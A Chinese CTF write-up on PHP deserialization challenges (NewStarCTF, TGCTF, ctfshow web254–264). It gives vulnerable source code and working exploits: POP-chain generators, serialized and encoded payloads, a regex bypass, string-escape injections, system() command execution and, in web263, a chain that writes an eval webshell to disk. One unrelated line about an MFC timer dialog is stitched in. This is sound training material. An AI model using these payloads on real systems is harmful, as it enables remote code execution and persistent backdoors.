反序列化 Lkai 2025-04-22 2025-05-05 [NewStarCTF 公开赛赛道]UnserializeOne 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php class Start { public $name ; protected $func ; public function __destruct ( //6 .echo 不是字符串 { //destruct的触发反序列化就会自动触发 echo "Welcome to NewStarCTF, " . $this ->name; } public function __isset($var ) //2 .找到把对象当成函数调用的地方,要触发isset 函数 { //不可访问属性使用isset ( )或empty ( )时,isset ( )会被调用 ($this ->func )( ); } } class Sec{ private $obj ; private $var ; public function __toString( ) { $this ->obj->check($this ->var ); //5 .check是不存在的方法 return "CTFers" ; //找到触发tostring魔术方法 } public function __invoke( ) { echo file_get_contents('/flag' ); //1 .我们的目标要触发invoke函数 } //触发时机 把对象当成函数调用 } class Easy{ public $cla ; public function __call($fun , $var ) //4 .找到调用clone 的函数 { $this ->cla = clone $var [0 ]; //call触发时机:调用一个不存在的方法 } } class eeee{ public $obj ; public function __clone( ) { if (isset ($this ->obj->cmd ) ) { //3 .找到调用isset 函数的地方 echo "success" ; //又要找到调用clone 的地方 } } } if (isset ($_POST ['pop' ] ) ) { unserialize($_POST ['pop' ] ); }
根据上面的一步一步来,由于private属性不能在类外进行改变,所以我们将私有和保护属性都改成公有的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class Start { public $name ; public $func ; } class Sec { public $obj ; public $var ; } class Easy { public $cla ; } class eeee { public $obj ; } $a = new Start ();$a ->name = new Sec ();$a ->name->obj=new Easy ();$a ->name->var =new eeee ();$a ->name->var ->obj=new Start ();$a ->name->var ->obj->func=new Sec ();echo serialize ($a );
TGCTF-什么文件上传? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php function best64_decode ($str ) { return base64_decode (base64_decode (base64_decode (base64_decode (base64_decode ($str ))))); } class yesterday { public $learn ; public $study ="study" ; public $try ; public function __construct ( ) { $this ->learn = "learn<br>" ; } public function __destruct ( ) //4.找到调用一个不存在的方法的地方 { echo "You studied hard yesterday.<br>" ; return $this ->study->hard (); } } class today { public $doing ; public $did ; public $done ; public function __construct ( ) { $this ->did = "What you did makes you outstanding.<br>" ; } public function __call ($arg1 , $arg2 ) //3.2.需要找到调用call 函数的地方 { $this ->done = "And what you've done has given you a choice.<br>" ; echo $this ->done; if (md5 (md5 ($this ->doing))==666 ){ return $this ->doing (); } else { return $this ->doing->better; } } } class tommoraw { public $good ; public $bad ; public $soso ; public function __invoke ( ) { $this ->good="You'll be good tommoraw!<br>" ; echo $this ->good; } public function __get ($arg1 ) { $this ->bad="You'll be bad tommoraw!<br>" ; } } class future { private $impossible ="How can you get here?<br>" ; private $out ; private $no ; public $useful1 ;public $useful2 ;public $useful3 ;public $useful4 ;public $useful5 ;public $useful6 ;public $useful7 ;public $useful8 ;public $useful9 ;public $useful10 ;public $useful11 ;public $useful12 ;public $useful13 ;public $useful14 ;public $useful15 ;public $useful16 ;public $useful17 ;public $useful18 ;public $useful19 ;public $useful20 ; public function __set ($arg1 , $arg2 ) { if ($this ->out->useful7) { echo "Seven is my lucky number<br>" ; system ('whoami' ); } } public function __toString ( ) { echo "This is your future.<br>" ; system ($_POST ["wow" ]); return "win" ; } public function __destruct ( ) { $this ->no = "no" ; return $this ->no; } } if (file_exists ($_GET ['filename' ])){ echo "Focus on the previous step!<br>" ; } else { $data =substr ($_GET ['filename' ],0 ,-4 ); unserialize (best64_decode ($data )); } ?>
先开始我是想用invoke里面的代码去触发tostring函数的,但是发现这个md5就已经把这个当作字符串了,所以可以直接触发tostring函数,这个链子也就相对来说简单一些,不过在这里反序列化之后有个字符截断,把后面4个字符给截断了,我们在后面随意加4个字符就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class yesterday { public $study ="study" ; } class today { public $doing ; } class tommoraw {} class future {} $a = new yesterday ();$b = new today ();$c = new future ();$a ->study=$b ;$b ->doing=$c ;$sec =serialize ($a );$enc = base64_encode (base64_encode (base64_encode (base64_encode (base64_encode ($sec )))));echo serialize ($enc )."1234" ;?>
用mfc的对话框结构 使用菜单设置开始与结束两个菜单项,用来控制计时器计时,时间显示为时分秒的形式
web254 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser (); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
这题其实感觉跟反序列化没有什么关系,主要是锻炼代码审计能力,发现要求isVip为true就输出flag,然后改true的地方只需满足两个变量为xxxxxx就好了,所以我们构造payload
1 username=xxxxxx&password=xxxxxx
web255 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
发现跟上个相比多了个cookie的反序列化,于是就只能采取抓包的形式了,发现user要求需要isVip为true,
构造完pop链后,url编码后发送抓包即可
1 2 3 4 5 6 7 8 9 10 11 <?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =true ; } $a = new ctfShowUser ();$a ->password='xxxxxx' ;$b = new ctfShowUser ();$a ->username='xxxxxx' ;echo urlencode (serialize ($a ));
web256 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
发现这里多了个要求,要求我们Cookie传进来的不能相等,但是是要跟get传进来的相等的,于是我们构造pop链
于是我们先传get
1 username=xxx&password=xxxx
然后
1 2 3 4 5 6 7 8 9 10 11 12 <?php class ctfShowUser { public $username =123456 ; public $password ='xxxxxx' ; public $isVip =true ; } $a = new ctfShowUser ();$a ->password='xxxx' ;$b = new ctfShowUser ();$a ->username='xxx' ;echo urlencode (serialize ($a ));
web257 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =true ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); //又咋样触发这个desrtruct 函数 } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); }
根据上面的逻辑构造pop链,由于class是私有属性,不能直接让他等于什么类的实例,所以我们就用一个魔术方法,construct函数,正好实例化的时候触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class ctfShowUser { private $username = 'xxxxxx'; private $password = 'xxxxxx'; private $isVip = true; private $class='info'; public function __construct(){ $this->class=new backDoor(); } } class backDoor { private $code="system('ls');"; } $a = new ctfShowUser(); $b=serialize($a); echo $b; echo urlencode($b);、
发现flag,再将system里面的换成cat ./flag.php
web258 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize ($_COOKIE ['user' ]); } $user ->login ($username ,$password ); }
比上面的题多加了个正则,因此我们去用+号绕过,用函数str_replace去给他加上去当然你也可以手动加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class ctfShowUser { public $username = 'xxxxxx' ; public $password = 'xxxxxx' ; public $isVip = true ; public $class ='info' ; public function __construct ( ) { $this ->class =new backDoor (); } } class backDoor { public $code ="system('cat ./f*');" ; } $a = new ctfShowUser ();$b =serialize ($a );$b =str_replace ('O:' ,'O:+' ,$b );echo $b ;echo urlencode ($b );
web260 1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );if (preg_match ('/ctfshow_i_love_36D/' ,serialize ($_GET ['ctfshow' ]))){ echo $flag ; }
看完代码之后发现只要求get的值存在ctfshow_i_love_36D这个字符串即可,这里的序列化没有影响,因为你直接将get的值等于这个就好了,get没有什么限制条件
1 2 ctfshow=ctfshow_i_love_36D //s:18:"ctfshow_i_love_36D"
所以匹配成功
web261 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file (__FILE__ );class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents ($this ->username, $this ->password); } } } unserialize ($_GET ['vip' ]);
在userialize函数拼接字符串完之后,需要code为0x36d,$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877,那么877a,877.php等可以通过比较,然后password构造一句话木马
web262 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 error_reporting (0 );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); setcookie ('msg' ,base64_encode ($umsg )); echo 'Your message has been sent' ; } highlight_file (__FILE__ );
根据提示访问message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
发现上个传的反序列化里面的token=admin那么输出flag,由于这里又替换字符,然后又是增加的于是我们很容易联想到是字符逃逸增加,老规矩先来做测试
1 2 3 4 5 6 7 8 9 10 11 <?php class message { public $from ='x' ; public $msg ='fuck' ; public $to ='y' ; public $token = 'user' ; } $data =new message ();echo serialize ($data );
发现fuck后面存在字符逃逸,由于需要保证属性成员数量一致,我们也需要将to的值也加上去
所以我们逃逸的代码是
1 ";s:2:"to";s:1:"y";s:5:"token";s:5:"admin";}
数一下有44个字符,所以我们需要44个fuck,构造payload
1 f=x&fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:2:"to";s:1:"y";s:5:"token";s:5:"admin";}&t=h
这里的t我们写什么都没关系其实,因为我们反序列化已经给他写出来了
然后再访问message.php
web263 打开是个网站
扫描一下
发现一个压缩包,有源码泄露下载下来
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php error_reporting (0 ); session_start (); if (isset ($_SESSION ['limit' ])){ $_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ]) +1 ); }else { setcookie ("limit" ,base64_encode ('1' )); $_SESSION ['limit' ]= 1 ; } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge" > <meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1" > <meta name="viewport" content="width=device-width, initial-scale=1" > <meta name="apple-mobile-web-app-capable" content="yes" > <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" > <title>ctfshow登陆</title> <link href="css/style.css" rel="stylesheet" > </head> <body> <div class ="pc -kk -form "> <center ><h1 >CTFshow 登陆</h1 ></center ><br ><br > <form action ="" onsubmit ="return false ;"> <div class ="pc -kk -form -list "> <input id ="u " type ="text " placeholder ="用户名"> </div > <div class ="pc -kk -form -list "> <input id ="pass " type ="password " placeholder ="密码"> </div > <div class ="pc -kk -form -btn "> <button onclick ="check ();">登陆</button > </div > </form > </div > <script type ="text /javascript " src ="js /jquery .min .js "></script > <script > function check () { $.ajax ({ url :'check.php' , type : 'GET' , data :{ 'u' :$('#u' ).val (), 'pass' :$('#pass' ).val () }, success:function (data ) { alert (JSON.parse (data).msg); }, error:function (data ) { alert (JSON.parse (data).msg); } }); } </script> </body> </html>
check.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting (0 );require_once 'inc/inc.php' ;$GET = array ("u" =>$_GET ['u' ],"pass" =>$_GET ['pass' ]);if ($GET ){ $data = $db ->get ('admin' , [ 'id' , 'UserName0' ],[ "AND" =>[ "UserName0[=]" =>$GET ['u' ], "PassWord1[=]" =>$GET ['pass' ] //密码必须为128 位大小写字母+数字+特殊符号,防止爆破 ] ]); if ($data ['id' ]){ $_SESSION ['limit' ]= 0 ; echo json_encode (array ("success" ,"msg" =>"欢迎您" .$data ['UserName0' ])); }else { $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ])+1 ); echo json_encode (array ("error" ,"msg" =>"登陆失败" )); } }
inc.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php error_reporting (0 );ini_set ('display_errors' , 0 );ini_set ('session.serialize_handler' , 'php' );date_default_timezone_set ("Asia/Shanghai" );session_start ();use \CTFSHOW \CTFSHOW ; require_once 'CTFSHOW.php' ;$db = new CTFSHOW ([ 'database_type' => 'mysql' , 'database_name' => 'web' , 'server' => 'localhost' , 'username' => 'root' , 'password' => 'root' , 'charset' => 'utf8' , 'port' => 3306 , 'prefix' => '' , 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]); function checkForm ($str ) { if (!isset ($str )){ return true ; }else { return preg_match ("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i" ,$str ); } } class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents ("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' )); } } function uuid ( ) { $chars = md5 (uniqid (mt_rand (), true )); $uuid = substr ( $chars , 0 , 8 ) . '-' . substr ( $chars , 8 , 4 ) . '-' . substr ( $chars , 12 , 4 ) . '-' . substr ( $chars , 16 , 4 ) . '-' . substr ( $chars , 20 , 12 ); return $uuid ; }
在index和inc里面发现有session strat函数 ,会解析session里面的内容,于是可以用到session反序列化,check里面是包含了inc.php的,由于这里的环境是7.多的,所以默认的处理器是php_serialize,然后inc里面用到的是php,且有构造函数,然后里面有file_put_contents函数可以写入文件
所以我们可以通过可控变量$_SESSION[‘limit’]构造shell,通过inc.php反序列化触发析构函数 用file_put_contents()写入一句话木马getshell
构造pop链
1 2 3 4 5 6 7 8 9 10 <?php class User { public $username = '1.php' ; public $password = '<?php @eval($_POST[1]); ?>' ; } $a = new User ();$payload = '|' . serialize ($a );echo urlencode (base64_encode ($payload ));
我们先在index.php用php_serialize处理器的地方传个session的limit,创建会话,然后我们再访问chech.php执行代码再次开启会话,由php解释器然后执行反序列化,触发destruct函数,写入文件
先修改cookie的值
然后发包创建会话,访问check.php
再去访问我们生成的文件
post输入命令就可以了
web264 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );session_start ();class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); $_SESSION ['msg' ]=base64_encode ($umsg ); echo 'Your message has been sent' ; } highlight_file (__FILE__ );
跟web262的很像,再次访问message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php session_start ();highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_SESSION ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
发现多了两个session_start函数,以为会根据session来着,但发现两个php代码的解释器都没有改变啊,又看了一眼环境,发现是php_serialize的解释器,那就直接正常反序列化来着就行,跟web262那个题差不多,不过这里没有主动去设cookie msg的值了,需要我们手动去设了,然后这里的字符串逃逸我换了个方法
之前的262我是在第2个成员属性进行逃逸的,所以逃逸的代码就会多了个to成员属性的变量,就导致我逃逸的代码是44,这次我直接在最后一个成员变量进行逃逸,就可以少一些,逃逸的字符只有27
1 ";s:5:"token";s:5:"admin";}
这是我们需要逃逸的代码,所以我们需要27个fuck
1 2 3 4 5 6 7 8 9 <?php class message { public $to ='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}' ; public $token ; } $a = new message ();echo serialize ($a );
因此我们构造payload
1 ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后再在cookie界面加个msg的值
刷新就有flag了